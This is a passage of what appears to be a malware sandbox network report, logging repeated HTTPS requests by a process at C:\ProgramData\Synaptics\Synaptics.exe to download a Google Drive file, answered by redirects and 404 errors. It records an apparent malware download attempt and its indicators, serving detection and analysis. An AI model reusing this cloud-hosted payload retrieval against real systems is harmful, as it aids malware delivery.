58	192.168.2.4	49836	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:24 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:25 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6TLANqvCMWcSrkppG1c48bn83mKgqF89mNPCfLSJ0LsFV_ciBx8gsNBVBUadm-ah2Y Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:25 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-lh0Xnrz0v29jZ1yKny5Ggg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:25 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:25 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 69 6d 64 30 43 5a 69 73 48 38 32 39 30 30 62 74 67 46 68 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="timd0CZisH82900btgFh5w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:25 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49835	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:24 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kHH4IWEqMq8ufUc5RTNUzw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49838	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:25 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4XE9ltO5sP3N1Ar8PTH5TeZoZyYCHQYswm3HTkYY2aozOCHcnr1TUfkjZboyloQwjgjW0gL5E Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:25 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DrHxITUWqkpY9zOVZL--eQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:25 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:25 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 31 36 61 46 43 48 4b 6f 4e 42 79 76 58 4f 39 6e 58 57 35 72 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="416aFCHKoNByvXO9nXW5rw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:25 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49839	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:25 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
2024-12-30 03:59:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-nJT7Dn9Kuslxx115pQ2gsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49841	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49842	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:26 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49847	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-_gKih3Ll_MmJwjoZKP7Sqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49848	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GolrgSMSz8yArJ5u7Z0KVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49849	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-A0j5z4E_Gy8pYtv-TofBbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49851	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-e93lAh9uJvvNt4t-NiTcMQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49852	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:28 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC78TJ0s7w9-xVrnPC4666qZhtzBpabA4vOB160H6JXYtU6Fdo4rnzdYpAuZ1VKsEXBN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:27 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3QCZBTHJd1WzjAiyJ7Ckhg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:28 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
